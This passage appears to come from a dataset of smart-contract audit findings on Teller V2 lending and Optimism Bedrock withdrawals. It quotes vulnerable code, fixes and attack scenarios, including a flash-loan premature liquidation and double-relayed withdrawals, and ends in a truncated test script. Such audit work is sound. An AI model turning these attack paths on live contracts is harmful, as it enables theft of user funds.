// duration is an uneven cycle\\n// Add the line below\\n uint256 rDelta = WadRayMath.pctToWad(apr).wadMul(rest).wadDiv(daysInYear);\\n// Add the line below\\n uint256 n1 = numerator.wadMul(one // Add the line below\\n rDelta);\\n// Add the line below\\n uint256 denom = ((one // Add the line below\\n rDelta).wadMul(exp // Remove the line below\\n one)) // Add the line below\\n rDelta;\\n// Add the line below\\n return n1.wadDiv(denom);\\n }\\n }\\n```\\n | A borrower taking a loan might not be able to pay the last payment cycle and be liquidated. At the worst possible time since they've paid the whole loan on schedule up to the last installment. The liquidator just need to pay the last installment to take the whole collateral.\\nThis requires the loan to not be a multiple of the payment cycle which might sound odd. But since a year is 365 days and a common payment cycle is 30 days I imagine there can be quite a lot of loans that after 360 days will end up in this issue.\\nThere is also nothing stopping an unknowing borrower from placing a bid or accepting a commitment with an odd duration. | ```\\nFile: libraries/V2Calculations.sol\\n\\n 93: // Cast to int265 to avoid underflow errors (negative means loan duration has passed)\\n 94: int256 durationLeftOnLoan = int256(\\n 95: uint256(_bid.loanDetails.loanDuration)\\n 96: ) -\\n 97: (int256(_timestamp) -\\n 98: int256(uint256(_bid.loanDetails.acceptedTimestamp)));\\n 99: bool isLastPaymentCycle = durationLeftOnLoan <\\n int256(uint256(_bid.terms.paymentCycle)) || // Check if current payment cycle is within or beyond the last one\\n owedPrincipal_ + interest_ <= _bid.terms.paymentCycleAmount; // Check if what is left to pay is less than the payment cycle amount\\n```\\n |
setLenderManager may cause some Lenders to lose their assets | medium | If the contract's lenderManager changes, repaid assets will be sent to the old lenderManager\\nsetLenderManager is used to change the lenderManager address of the contract\\n```\\n function setLenderManager(address _lenderManager)\\n external\\n reinitializer(8)\\n onlyOwner\\n {\\n _setLenderManager(_lenderManager);\\n }\\n\\n function _setLenderManager(address _lenderManager)\\n internal\\n onlyInitializing\\n {\\n require(\\n _lenderManager.isContract(),\\n "LenderManager must be a contract"\\n );\\n lenderManager = ILenderManager(_lenderManager);\\n }\\n```\\n\\nclaimLoanNFT will change the bid.lender to the current lenderManager\\n```\\n function claimLoanNFT(uint256 _bidId)\\n external\\n acceptedLoan(_bidId, "claimLoanNFT")\\n whenNotPaused\\n {\\n // Retrieve bid\\n Bid storage bid = bids[_bidId];\\n\\n address sender = _msgSenderForMarket(bid.marketplaceId);\\n require(sender == bid.lender, "only lender can claim NFT");\\n // mint an NFT with the lender manager\\n lenderManager.registerLoan(_bidId, sender);\\n // set lender address to the lender manager so we know to check the owner of the NFT for the true lender\\n bid.lender = address(lenderManager);\\n }\\n```\\n\\nIn getLoanLender, if the bid.lender is the current lenderManager, the owner of the NFT will be returned as the lender, and the repaid assets will be sent to the lender.\\n```\\n function getLoanLender(uint256 _bidId)\\n public\\n view\\n returns (address lender_)\\n {\\n lender_ = bids[_bidId].lender;\\n\\n if (lender_ == address(lenderManager)) {\\n return lenderManager.ownerOf(_bidId);\\n }\\n }\\n// rest of code\\n address lender = getLoanLender(_bidId);\\n\\n // Send payment to the lender\\n bid.loanDetails.lendingToken.safeTransferFrom(\\n _msgSenderForMarket(bid.marketplaceId),\\n lender,\\n paymentAmount\\n );\\n```\\n\\nIf setLenderManager is called to change the lenderManager, in getLoanLender, since the bid.lender is not the current lenderManager, the old lenderManager address will be returned as the lender, and the repaid assets will be sent to the old lenderManager, resulting in the loss of the lender's assets | Consider using MAGIC_NUMBER as bid.lender in claimLoanNFT and using that MAGIC_NUMBER in getLoanLender to do the comparison.\\n```\\n// Add the line below\\n address MAGIC_NUMBER = 0x// rest of code;\\n function claimLoanNFT(uint256 _bidId)\\n external\\n acceptedLoan(_bidId, "claimLoanNFT")\\n whenNotPaused\\n {\\n // Retrieve bid\\n Bid storage bid = bids[_bidId];\\n\\n address sender = _msgSenderForMarket(bid.marketplaceId);\\n require(sender == bid.lender, "only lender can claim NFT");\\n // mint an NFT with the lender manager\\n lenderManager.registerLoan(_bidId, sender);\\n // set lender address to the lender manager so we know to check the owner of the NFT for the true lender\\n// Remove the line below\\n bid.lender = address(lenderManager);\\n// Add the line below\\n bid.lender = MAGIC_NUMBER;\\n }\\n// rest of code\\n function getLoanLender(uint256 _bidId)\\n public\\n view\\n returns (address lender_)\\n {\\n lender_ = bids[_bidId].lender;\\n\\n// Remove the line below\\n if (lender_ == address(lenderManager)) {\\n// Add the line below\\n if (lender_ == MAGIC_NUMBER) {\\n return lenderManager.ownerOf(_bidId);\\n }\\n }\\n```\\n | It may cause some Lenders to lose their assets | ```\\n function setLenderManager(address _lenderManager)\\n external\\n reinitializer(8)\\n onlyOwner\\n {\\n _setLenderManager(_lenderManager);\\n }\\n\\n function _setLenderManager(address _lenderManager)\\n internal\\n onlyInitializing\\n {\\n require(\\n _lenderManager.isContract(),\\n "LenderManager must be a contract"\\n );\\n lenderManager = ILenderManager(_lenderManager);\\n }\\n```\\n |
A borrower/lender or liquidator will fail to withdraw the collateral assets due to reaching a gas limit | medium | Within the TellerV2#submitBid(), there is no limitation that how many collateral assets a borrower can assign into the `_collateralInfo` array parameter.\\nThis lead to some bad scenarios like this due to reaching gas limit:\\nA borrower or a lender fail to withdraw the collateral assets when the loan would not be liquidated.\\nA liquidator will fail to withdraw the collateral assets when the loan would be liquidated.\\n```\\nstruct Collateral {\\n CollateralType _collateralType;\\n uint256 _amount;\\n uint256 _tokenId;\\n address _collateralAddress;\\n}\\n```\\n\\n```\\n /**\\n * Since collateralInfo is mapped (address assetAddress => Collateral) that means\\n * that only a single tokenId per nft per loan can be collateralized.\\n * Ex. Two bored apes cannot be used as collateral for a single loan.\\n */\\n struct CollateralInfo {\\n EnumerableSetUpgradeable.AddressSet collateralAddresses;\\n mapping(address => Collateral) collateralInfo;\\n }\\n```\\n\\n```\\n // bidIds -> validated collateral info\\n mapping(uint256 => CollateralInfo) internal _bidCollaterals;\\n```\\n\\n```\\n function submitBid(\\n address _lendingToken,\\n uint256 _marketplaceId,\\n uint256 _principal,\\n uint32 _duration,\\n uint16 _APR,\\n string calldata _metadataURI,\\n address _receiver,\\n Collateral[] calldata _collateralInfo /// @audit\\n ) public override whenNotPaused returns (uint256 bidId_) {\\n // rest of code\\n bool validation = collateralManager.commitCollateral(\\n bidId_,\\n _collateralInfo /// @audit \\n );\\n // rest of code\\n```\\n\\n```\\n /**\\n * @notice Checks the validity of a borrower's multiple collateral balances and commits it to a bid.\\n * @param _bidId The id of the associated bid.\\n * @param _collateralInfo Additional information about the collateral assets.\\n * @return validation_ Boolean indicating if the collateral balances were validated.\\n */\\n function commitCollateral(\\n uint256 _bidId,\\n Collateral[] calldata _collateralInfo /// @audit\\n ) public returns (bool validation_) {\\n address borrower = tellerV2.getLoanBorrower(_bidId);\\n (validation_, ) = checkBalances(borrower, _collateralInfo);\\n\\n if (validation_) {\\n for (uint256 i; i < _collateralInfo.length; i++) { \\n Collateral memory info = _collateralInfo[i];\\n _commitCollateral(_bidId, info); /// @audit\\n }\\n }\\n }\\n```\\n\\n```\\n /**\\n * @notice Checks the validity of a borrower's collateral balance and commits it to a bid.\\n * @param _bidId The id of the associated bid.\\n * @param _collateralInfo Additional information about the collateral asset.\\n */\\n function _commitCollateral(\\n uint256 _bidId,\\n Collateral memory _collateralInfo\\n ) internal virtual {\\n CollateralInfo storage collateral = _bidCollaterals[_bidId];\\n collateral.collateralAddresses.add(_collateralInfo._collateralAddress);\\n collateral.collateralInfo[\\n _collateralInfo._collateralAddress\\n ] = _collateralInfo; /// @audit\\n // rest of code\\n```\\n\\n```\\n /**\\n * @notice Withdraws deposited collateral from the created escrow of a bid that has been successfully repaid.\\n * @param _bidId The id of the bid to withdraw collateral for.\\n */\\n function withdraw(uint256 _bidId) external {\\n BidState bidState = tellerV2.getBidState(_bidId);\\n if (bidState == BidState.PAID) {\\n _withdraw(_bidId, tellerV2.getLoanBorrower(_bidId)); /// @audit \\n } else if (tellerV2.isLoanDefaulted(_bidId)) {\\n _withdraw(_bidId, tellerV2.getLoanLender(_bidId)); /// @audit \\n // rest of code\\n```\\n\\n```\\n /**\\n * @notice Sends the deposited collateral to a liquidator of a bid.\\n * @notice Can only be called by the protocol.\\n * @param _bidId The id of the liquidated bid.\\n * @param _liquidatorAddress The address of the liquidator to send the collateral to.\\n */\\n function liquidateCollateral(uint256 _bidId, address _liquidatorAddress)\\n external\\n onlyTellerV2\\n {\\n if (isBidCollateralBacked(_bidId)) {\\n BidState bidState = tellerV2.getBidState(_bidId);\\n require(\\n bidState == BidState.LIQUIDATED,\\n "Loan has not been liquidated"\\n );\\n _withdraw(_bidId, _liquidatorAddress); /// @audit\\n }\\n }\\n```\\n\\n```\\n /**\\n * @notice Withdraws collateral to a given receiver's address.\\n * @param _bidId The id of the bid to withdraw collateral for.\\n * @param _receiver The address to withdraw the collateral to.\\n */\\n function _withdraw(uint256 _bidId, address _receiver) internal virtual {\\n for (\\n uint256 i;\\n i < _bidCollaterals[_bidId].collateralAddresses.length(); /// @audit\\n i++\\n ) {\\n // Get collateral info\\n Collateral storage collateralInfo = _bidCollaterals[_bidId]\\n .collateralInfo[\\n _bidCollaterals[_bidId].collateralAddresses.at(i)\\n ];\\n // Withdraw collateral from escrow and send it to bid lender\\n ICollateralEscrowV1(_escrows[_bidId]).withdraw( /// @audit\\n collateralInfo._collateralAddress,\\n collateralInfo._amount,\\n _receiver\\n );\\n```\\n\\nHowever, within the TellerV2#submitBid(), there is no limitation that how many collateral assets a borrower can assign into the `_collateralInfo` array parameter.\\nThis lead to a bad scenario like below:\\n① A borrower assign too many number of the collateral assets (ERC20/ERC721/ERC1155) into the `_collateralInfo` array parameter when the borrower call the TellerV2#submitBid() to submit a bid.\\n② Then, a lender accepts the bid via calling the TellerV2#lenderAcceptBid()\\n③ Then, a borrower or a lender try to withdraw the collateral, which is not liquidated, by calling the CollateralManager#withdraw(). Or, a liquidator try to withdraw the collateral, which is liquidated, by calling the CollateralManager#liquidateCollateral()\\n④ But, the transaction of the CollateralManager#withdraw() or the CollateralManager#liquidateCollateral() will be reverted in the for-loop of the CollateralManager#_withdraw() because that transaction will reach a gas limit. | Within the TellerV2#submitBid(), consider adding a limitation about how many collateral assets a borrower can assign into the `_collateralInfo` array parameter. | Due to reaching gas limit, some bad scenarios would occur like this:\\nA borrower or a lender fail to withdraw the collateral assets when the loan would not be liquidated.\\nA liquidator will fail to withdraw the collateral assets when the loan would be liquidated. | ```\\nstruct Collateral {\\n CollateralType _collateralType;\\n uint256 _amount;\\n uint256 _tokenId;\\n address _collateralAddress;\\n}\\n```\\n |
Premature Liquidation When a Borrower Pays early | medium | On TellerV2 markets, whenever a borrower pays early in one payment cycle, they could be at risk to be liquidated in the next payment cycle. And this is due to a vulnerability in the liquidation logic implemented in `_canLiquidateLoan`. Note: This issue is submitted separately from issue #2 because the exploit is based on user behaviors regardless of a specific market setting. And the vulnerability might warrant a change in the liquidation logic.\\nIn TellerV2.sol, the sole liquidation logic is dependent on the time gap between now and the previous payment timestamp. But a user might decide to pay at any time within a given payment cycle, which makes the time gap unreliable and effectively renders this logic vulnerable to exploitation.\\n```\\n return (uint32(block.timestamp) -\\n _liquidationDelay -\\n lastRepaidTimestamp(_bidId) >\\n bidDefaultDuration[_bidId]);\\n```\\n\\nSuppose a scenario where a user takes on a loan on a market with 3 days payment cycle and 3 days paymentDefaultDuration. And the loan is 14 days in duration. The user decided to make the first minimal payment an hour after receiving the loan, and the next payment due date is after the sixth day. Now 5 days passed since the user made the first payment, and a liquidator comes in and liquidates the loan and claims the collateral before the second payment is due.\\nHere is a test to show proof of concept for this scenario. | Consider using the current timestamp - previous payment due date instead of just `lastRepaidTimestamp` in the liquidation check logic. Also, add the check to see whether a user is late on a payment in `_canLiquidateLoan`. | Given the fact that this vulnerability is not market specific and that users can pay freely during a payment cycle, it's quite easy for a liquidator to liquidate loans prematurely. And the effect might be across multiple markets.\\nWhen there are proportional collaterals, the exploit can be low cost. An attacker could take on flash loans to pay off the principal and interest, and the interest could be low when early in the loan duration. The attacker would then sell the collateral received in the same transaction to pay off flash loans and walk away with profits. | ```\\n return (uint32(block.timestamp) -\\n _liquidationDelay -\\n lastRepaidTimestamp(_bidId) >\\n bidDefaultDuration[_bidId]);\\n```\\n |
All migrated withdrarwals that require more than 135,175 gas may be bricked | high | Migrated withdrawals are given an "outer" (Portal) gas limit of `calldata cost + 200,000`, and an "inner" (CrossDomainMessenger) gas limit of `0`. The assumption is that the CrossDomainMessenger is replayable, so there is no need to specify a correct gas limit.\\nThis is an incorect assumption. For any withdrawals that require more than 135,175 gas, insufficient gas can be sent such that CrossDomainMessenger's external call reverts and the remaining 1/64th of the gas sent is not enough for replayability to be encoded in the Cross Domain Messenger.\\nHowever, the remaining 1/64th of gas in the Portal is sufficient to have the transaction finalize, so that the Portal will not process the withdrawal again.\\nWhen old withdrawals are migrated to Bedrock, they are encoded as calls to `L1CrossDomainMessenger.relayMessage()` as follows:\\n```\\nfunc MigrateWithdrawal(withdrawal *LegacyWithdrawal, l1CrossDomainMessenger *common.Address) (*Withdrawal, error) {\\n // Attempt to parse the value\\n value, err := withdrawal.Value()\\n if err != nil {\\n return nil, fmt.Errorf("cannot migrate withdrawal: %w", err)\\n }\\n\\n abi, err := bindings.L1CrossDomainMessengerMetaData.GetAbi()\\n if err != nil {\\n return nil, err\\n }\\n\\n // Migrated withdrawals are specified as version 0. Both the\\n // L2ToL1MessagePasser and the CrossDomainMessenger use the same\\n // versioning scheme. Both should be set to version 0\\n versionedNonce := EncodeVersionedNonce(withdrawal.XDomainNonce, new(big.Int))\\n // Encode the call to `relayMessage` on the `CrossDomainMessenger`.\\n // The minGasLimit can safely be 0 here.\\n data, err := abi.Pack(\\n "relayMessage",\\n versionedNonce,\\n withdrawal.XDomainSender,\\n withdrawal.XDomainTarget,\\n value,\\n new(big.Int), // <= THIS IS THE INNER GAS LIMIT BEING SET TO ZERO\\n []byte(withdrawal.XDomainData),\\n )\\n if err != nil {\\n return nil, fmt.Errorf("cannot abi encode relayMessage: %w", err)\\n }\\n\\n gasLimit := MigrateWithdrawalGasLimit(data)\\n\\n w := NewWithdrawal(\\n versionedNonce,\\n &predeploys.L2CrossDomainMessengerAddr,\\n l1CrossDomainMessenger,\\n value,\\n new(big.Int).SetUint64(gasLimit), // <= THIS IS THE OUTER GAS LIMIT BEING SET\\n data,\\n )\\n return w, nil\\n}\\n```\\n\\nAs we can see, the `relayMessage()` call uses a gasLimit of zero (see comments above), while the outer gas limit is calculated by the `MigrateWithdrawalGasLimit()` function:\\n```\\nfunc MigrateWithdrawalGasLimit(data []byte) uint64 {\\n // Compute the cost of the calldata\\n dataCost := uint64(0)\\n for _, b := range data {\\n if b == 0 {\\n dataCost += params.TxDataZeroGas\\n } else {\\n dataCost += params.TxDataNonZeroGasEIP2028\\n }\\n }\\n\\n // Set the outer gas limit. This cannot be zero\\n gasLimit := dataCost + 200_000\\n // Cap the gas limit to be 25 million to prevent creating withdrawals\\n // that go over the block gas limit.\\n if gasLimit > 25_000_000 {\\n gasLimit = 25_000_000\\n }\\n\\n return gasLimit\\n}\\n```\\n\\nThis calculates the outer gas limit value by adding the calldata cost to 200,000.\\nLet's move over to the scenario in which these values are used to see why they can cause a problem.\\nWhen a transaction is proven, we can call `OptimismPortal.finalizeWithdrawalTransaction()` to execute the transaction. In the case of migrated withdrawals, this executes the following flow:\\n`OptimismPortal` calls to `L1CrossDomainMessenger` with a gas limit of `200,000 + calldata`\\nThis guarantees remaining gas for continued execution after the call of `(200_000 + calldata) * 64/63 * 1/64 > 3174`\\nXDM uses `41,002` gas before making the call, leaving `158,998` remaining for the call\\nThe `SafeCall.callWithMinGas()` succeeds, since the inner gas limit is set to 0\\nIf the call uses up all of the avaialble gas (succeeding or reverting), we are left with `158,998` * 1/64 = 2,484 for the remaining execution\\nThe remaining execution includes multiple SSTOREs which totals `23,823` gas, resulting in an OutOfGas revert\\nIn fact, if the call uses any amount greater than `135,175`, we will have less than `23,823` gas remaining and will revert\\nAs a result, none of the updates to `L1CrossDomainMessenger` occur, and the transaction is not marked in `failedMessages` for replayability\\nHowever, the remaining `3174` gas is sufficient to complete the transction on the `OptimismPortal`, which sets `finalizedWithdrawals[hash] = true` and locks the withdrawals from ever being made again | There doesn't seem to be an easy fix for this, except to adjust the migration process so that migrated withdrawals are directly saved as `failedMessages` on the `L1CrossDomainMessenger` (and marked as `finalizedWithdrawals` on the OptimismPortal), rather than needing to be reproven through the normal flow. | Any migrated withdrawal that uses more than `135,175` gas will be bricked if insufficient gas is sent. This could be done by a malicious attacker bricking thousands of pending withdrawals or, more likely, could happen to users who accidentally executed their withdrawal with too little gas and ended up losing it permanently. | ```\\nfunc MigrateWithdrawal(withdrawal *LegacyWithdrawal, l1CrossDomainMessenger *common.Address) (*Withdrawal, error) {\\n // Attempt to parse the value\\n value, err := withdrawal.Value()\\n if err != nil {\\n return nil, fmt.Errorf("cannot migrate withdrawal: %w", err)\\n }\\n\\n abi, err := bindings.L1CrossDomainMessengerMetaData.GetAbi()\\n if err != nil {\\n return nil, err\\n }\\n\\n // Migrated withdrawals are specified as version 0. Both the\\n // L2ToL1MessagePasser and the CrossDomainMessenger use the same\\n // versioning scheme. Both should be set to version 0\\n versionedNonce := EncodeVersionedNonce(withdrawal.XDomainNonce, new(big.Int))\\n // Encode the call to `relayMessage` on the `CrossDomainMessenger`.\\n // The minGasLimit can safely be 0 here.\\n data, err := abi.Pack(\\n "relayMessage",\\n versionedNonce,\\n withdrawal.XDomainSender,\\n withdrawal.XDomainTarget,\\n value,\\n new(big.Int), // <= THIS IS THE INNER GAS LIMIT BEING SET TO ZERO\\n []byte(withdrawal.XDomainData),\\n )\\n if err != nil {\\n return nil, fmt.Errorf("cannot abi encode relayMessage: %w", err)\\n }\\n\\n gasLimit := MigrateWithdrawalGasLimit(data)\\n\\n w := NewWithdrawal(\\n versionedNonce,\\n &predeploys.L2CrossDomainMessengerAddr,\\n l1CrossDomainMessenger,\\n value,\\n new(big.Int).SetUint64(gasLimit), // <= THIS IS THE OUTER GAS LIMIT BEING SET\\n data,\\n )\\n return w, nil\\n}\\n```\\n |
Legacy withdrawals can be relayed twice, causing double spending of bridged assets | high | `L2CrossDomainMessenger.relayMessage` checks that legacy messages have not been relayed by reading from the `successfulMessages` state variable, however the contract's storage will wiped during the migration to Bedrock and `successfulMessages` will be empty after the deployment of the contract. The check will always pass, even if a legacy message have already been relayed using its v0 hash. As a result, random withdrawal messages, as well as messages from malicious actors, can be relayed multiple times during the migration: first, as legacy v0 messages (before the migration); then, as Bedrock v1 messages (during the migration).\\nL2CrossDomainMessenger inherits from CrossDomainMessenger, which inherits from `CrossDomainMessengerLegacySpacer0`, `CrossDomainMessengerLegacySpacer1`, assuming that the contract will be deployed at an address with existing state-the two spacer contracts are needed to "skip" the slots occupied by previous implementations of the contract.\\nDuring the migration, legacy (i.e. pre-Bedrock) withdrawal messages will be converted to Bedrock messages-they're expected to call the `relayMessage` function of `L2CrossDomainMessenger`. The `L2CrossDomainMessenger.relayMessage` function checks that the relayed legacy message haven't been relayed already:\\n```\\n// If the message is version 0, then it's a migrated legacy withdrawal. We therefore need\\n// to check that the legacy version of the message has not already been relayed.\\nif (version == 0) {\\n bytes32 oldHash = Hashing.hashCrossDomainMessageV0(_target, _sender, _message, _nonce);\\n require(\\n successfulMessages[oldHash] == false,\\n "CrossDomainMessenger: legacy withdrawal already relayed"\\n );\\n}\\n```\\n\\nIt reads a V0 message hash from the `successfulMessages` state variable, assuming that the content of the variable is preserved during the migration. However, the state and storage of all predeployed contracts is wiped during the migration:\\n```\\n// We need to wipe the storage of every predeployed contract EXCEPT for the GovernanceToken,\\n// WETH9, the DeployerWhitelist, the LegacyMessagePasser, and LegacyERC20ETH. We have verified\\n// that none of the legacy storage (other than the aforementioned contracts) is accessible and\\n// therefore can be safely removed from the database. Storage must be wiped before anything\\n// else or the ERC-1967 proxy storage slots will be removed.\\nif err := WipePredeployStorage(db); err != nil {\\n return nil, fmt.Errorf("cannot wipe storage: %w", err)\\n}\\n```\\n\\nAlso notice that withdrawals are migrated after predeploys were wiped and deployed-predeploys will have empty storage at the time withdrawals are migrated.\\nMoreover, if we check the code at the `L2CrossDomainMessenger` address of the current version of Optimism, we'll see that the contract's storage layout is different from the layout of the `CrossDomainMessengerLegacySpacer0` and `CrossDomainMessengerLegacySpacer1` contracts: there are no gaps and other spacer slots; `successfulMessages` is the second slot of the contract. Thus, even if there were no wiping, the `successfulMessages` mapping of the new `L2CrossDomainMessenger` contract would still be empty. | Consider cleaning up the storage layout of `L1CrossDomainMessenger`, `L2CrossDomainMessenger` and other proxied contracts.\\nIn the PreCheckWithdrawals function, consider reading withdrawal hashes from the `successfulMessages` mapping of the old `L2CrossDomainMessenger` contract and checking if the values are set. Successful withdrawals should be skipped at this point to filter out legacy withdrawals that have already been relayed.\\nConsider removing the check from the `relayMessage` function, since the check will be useless due to the empty state of the contract. | Withdrawal messages can be relayed twice: once right before and once during the migration. ETH and ERC20 tokens can be withdrawn twice, which is basically double spending of bridged assets. | ```\\n// If the message is version 0, then it's a migrated legacy withdrawal. We therefore need\\n// to check that the legacy version of the message has not already been relayed.\\nif (version == 0) {\\n bytes32 oldHash = Hashing.hashCrossDomainMessageV0(_target, _sender, _message, _nonce);\\n require(\\n successfulMessages[oldHash] == false,\\n "CrossDomainMessenger: legacy withdrawal already relayed"\\n );\\n}\\n```\\n |
The formula used in ````SafeCall.callWithMinGas()```` is wrong | high | The formula used in `SafeCall.callWithMinGas()` is not fully complying with EIP-150 and EIP-2929, the actual gas received by the sub-contract can be less than the required `_minGas`. Withdrawal transactions can be finalized with less than specified gas limit, may lead to loss of funds.\\n```\\nFile: contracts\\libraries\\SafeCall.sol\\n function callWithMinGas(\\n address _target,\\n uint256 _minGas,\\n uint256 _value,\\n bytes memory _calldata\\n ) internal returns (bool) {\\n bool _success;\\n assembly {\\n // Assertion: gasleft() >= ((_minGas + 200) * 64) / 63\\n //\\n // Because EIP-150 ensures that, a maximum of 63/64ths of the remaining gas in the call\\n // frame may be passed to a subcontext, we need to ensure that the gas will not be\\n // truncated to hold this function's invariant: "If a call is performed by\\n // `callWithMinGas`, it must receive at least the specified minimum gas limit." In\\n // addition, exactly 51 gas is consumed between the below `GAS` opcode and the `CALL`\\n // opcode, so it is factored in with some extra room for error.\\n if lt(gas(), div(mul(64, add(_minGas, 200)), 63)) {\\n // Store the "Error(string)" selector in scratch space.\\n mstore(0, 0x08c379a0)\\n // Store the pointer to the string length in scratch space.\\n mstore(32, 32)\\n // Store the string.\\n //\\n // SAFETY:\\n // - We pad the beginning of the string with two zero bytes as well as the\\n // length (24) to ensure that we override the free memory pointer at offset\\n // 0x40. This is necessary because the free memory pointer is likely to\\n // be greater than 1 byte when this function is called, but it is incredibly\\n // unlikely that it will be greater than 3 bytes. As for the data within\\n // 0x60, it is ensured that it is 0 due to 0x60 being the zero offset.\\n // - It's fine to clobber the free memory pointer, we're reverting.\\n mstore(88, 0x0000185361666543616c6c3a204e6f7420656e6f75676820676173)\\n\\n // Revert with 'Error("SafeCall: Not enough gas")'\\n revert(28, 100)\\n }\\n\\n // The call will be supplied at least (((_minGas + 200) * 64) / 63) - 49 gas due to the\\n // above assertion. This ensures that, in all circumstances, the call will\\n // receive at least the minimum amount of gas specified.\\n // We can prove this property by solving the inequalities:\\n // ((((_minGas + 200) * 64) / 63) - 49) >= _minGas\\n // ((((_minGas + 200) * 64) / 63) - 51) * (63 / 64) >= _minGas\\n // Both inequalities hold true for all possible values of `_minGas`.\\n _success := call(\\n gas(), // gas\\n _target, // recipient\\n _value, // ether value\\n add(_calldata, 32), // inloc\\n mload(_calldata), // inlen\\n 0x00, // outloc\\n 0x00 // outlen\\n )\\n }\\n return _success;\\n }\\n```\\n\\nThe current formula used in `SafeCall.callWithMinGas()` involves two issues.\\nFirstly, the `63/64` rule is not the whole story of EIP-150 for the `CALL` opcode, let's take a look at the implementation of EIP-150, a `base` gas is subtracted before applying `63/64` rule.\\n```\\nfunc callGas(isEip150 bool, availableGas, base uint64, callCost *uint256.Int) (uint64, error) {\\n if isEip150 {\\n availableGas = availableGas - base\\n gas := availableGas - availableGas/64\\n // If the bit length exceeds 64 bit we know that the newly calculated "gas" for EIP150\\n // is smaller than the requested amount. Therefore we return the new gas instead\\n // of returning an error.\\n if !callCost.IsUint64() || gas < callCost.Uint64() {\\n return gas, nil\\n }\\n }\\n if !callCost.IsUint64() {\\n return 0, ErrGasUintOverflow\\n }\\n\\n return callCost.Uint64(), nil\\n}\\n```\\n\\nThe `base` gas is calculated in `gasCall()` of `gas_table.go`, which is subject to\\n```\\n(1) L370~L376: call to a new account\\n(2) L377~L379: call with non zero value\\n(3) L380~L383: memory expansion\\n```\\n\\nThe `(1)` and `(3)` are irrelevant in this case, but `(2)` should be taken into account.\\n```\\nFile: core\\vm\\gas_table.go\\nfunc gasCall(evm *EVM, contract *Contract, stack *Stack, mem *Memory, memorySize uint64) (uint64, error) {\\n var (\\n gas uint64\\n transfersValue = !stack.Back(2).IsZero()\\n address = common.Address(stack.Back(1).Bytes20())\\n )\\n if evm.chainRules.IsEIP158 {\\n if transfersValue && evm.StateDB.Empty(address) {\\n gas += params.CallNewAccountGas\\n }\\n } else if !evm.StateDB.Exist(address) {\\n gas += params.CallNewAccountGas\\n }\\n if transfersValue {\\n gas += params.CallValueTransferGas\\n }\\n memoryGas, err := memoryGasCost(mem, memorySize)\\n if err != nil {\\n return 0, err\\n }\\n var overflow bool\\n if gas, overflow = math.SafeAdd(gas, memoryGas); overflow {\\n return 0, ErrGasUintOverflow\\n }\\n\\n evm.callGasTemp, err = callGas(evm.chainRules.IsEIP150, contract.Gas, gas, stack.Back(0))\\n if err != nil {\\n return 0, err\\n }\\n if gas, overflow = math.SafeAdd(gas, evm.callGasTemp); overflow {\\n return 0, ErrGasUintOverflow\\n }\\n return gas, nil\\n}\\n```\\n\\nThe `raw` extra gas for transferring value is\\n```\\nparams.CallValueTransferGas - params.CallStipend * 64 / 63 = 9000 - 2300 * 64 / 63 = 6664\\n```\\n\\nSecondly, EIP-2929 also affects the gas cost of `CALL` opcode.\\n```\\nFile: core\\vm\\operations_acl.go\\n gasCallEIP2929 = makeCallVariantGasCallEIP2929(gasCall)\\n\\nFile: core\\vm\\operations_acl.go\\nfunc makeCallVariantGasCallEIP2929(oldCalculator gasFunc) gasFunc {\\n return func(evm *EVM, contract *Contract, stack *Stack, mem *Memory, memorySize uint64) (uint64, error) {\\n addr := common.Address(stack.Back(1).Bytes20())\\n // Check slot presence in the access list\\n warmAccess := evm.StateDB.AddressInAccessList(addr)\\n // The WarmStorageReadCostEIP2929 (100) is already deducted in the form of a constant cost, so\\n // the cost to charge for cold access, if any, is Cold - Warm\\n coldCost := params.ColdAccountAccessCostEIP2929 - params.WarmStorageReadCostEIP2929\\n if !warmAccess {\\n evm.StateDB.AddAddressToAccessList(addr)\\n // Charge the remaining difference here already, to correctly calculate available\\n // gas for call\\n if !contract.UseGas(coldCost) {\\n return 0, ErrOutOfGas\\n }\\n }\\n // Now call the old calculator, which takes into account\\n // - create new account\\n // - transfer value\\n // - memory expansion\\n // - 63/64ths rule\\n gas, err := oldCalculator(evm, contract, stack, mem, memorySize)\\n if warmAccess || err != nil {\\n return gas, err\\n }\\n // In case of a cold access, we temporarily add the cold charge back, and also\\n // add it to the returned gas. By adding it to the return, it will be charged\\n // outside of this function, as part of the dynamic gas, and that will make it\\n // also become correctly reported to tracers.\\n contract.Gas += coldCost\\n return gas + coldCost, nil\\n }\\n}\\n```\\n\\nHere is a test script to show the impact of the two aspects mentioned above\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity 0.8.15;\\n\\nimport "forge-std/Test.sol";\\nimport "forge-std/console.sol";\\n\\nlibrary SafeCall {\\n function callWithMinGas(\\n address _target,\\n uint256 _minGas,\\n uint256 _value,\\n bytes memory _calldata\\n ) internal returns (bool) {\\n bool _success;\\n uint256 gasSent;\\n assembly {\\n // Assertion: gasleft() >= ((_minGas + 200) * 64) / 63\\n //\\n // Because EIP-150 ensures that, a maximum of 63/64ths of the remaining gas in the call\\n // frame may be passed to a subcontext, we need to ensure that the gas will not be\\n // truncated to hold this function's invariant: "If a call is performed by\\n // `callWithMinGas`, it must receive at least the specified minimum gas limit." In\\n // addition, exactly 51 gas is consumed between the below `GAS` opcode and the `CALL`\\n // opcode, so it is factored in with some extra room for error.\\n if lt(gas(), div(mul(64, add(_minGas, 200)), 63)) {\\n // Store the "Error(string)" selector in scratch space.\\n mstore(0, 0x08c379a0)\\n // Store the pointer to the string length in scratch space.\\n mstore(32, 32)\\n // Store the string.\\n //\\n // SAFETY:\\n // - We pad the beginning of the string with two zero bytes as well as the\\n // length (24) to ensure that we override the free memory pointer at offset\\n // 0x40. This is necessary because the free memory pointer is likely to\\n // be greater than 1 byte when this function is called, but it is incredibly\\n // unlikely that it will be greater than 3 bytes. As for the data within\\n // 0x60, it is ensured that it is 0 due to 0x60 being the zero offset.\\n // - It's fine to clobber the free memory pointer, we're reverting.\\n mstore(\\n 88,\\n 0x0000185361666543616c6c3a204e6f7420656e6f75676820676173\\n )\\n\\n // Revert with 'Error("SafeCall: Not enough gas")'\\n revert(28, 100)\\n }\\n\\n // The call will be supplied at least (((_minGas + 200) * 64) / 63) - 49 gas due to the\\n // above assertion. This ensures that, in all circumstances, the call will\\n // receive at least the minimum amount of gas specified.\\n // We can prove this property by solving the inequalities:\\n // ((((_minGas + 200) * 64) / 63) - 49) >= _minGas\\n // ((((_minGas + 200) * 64) / 63) - 51) * (63 / 64) >= _minGas\\n // Both inequalities hold true for all possible values of `_minGas`.\\n gasSent := gas() // @audit this operation costs 2 gas\\n _success := call(\\n gas(), // gas\\n _target, // 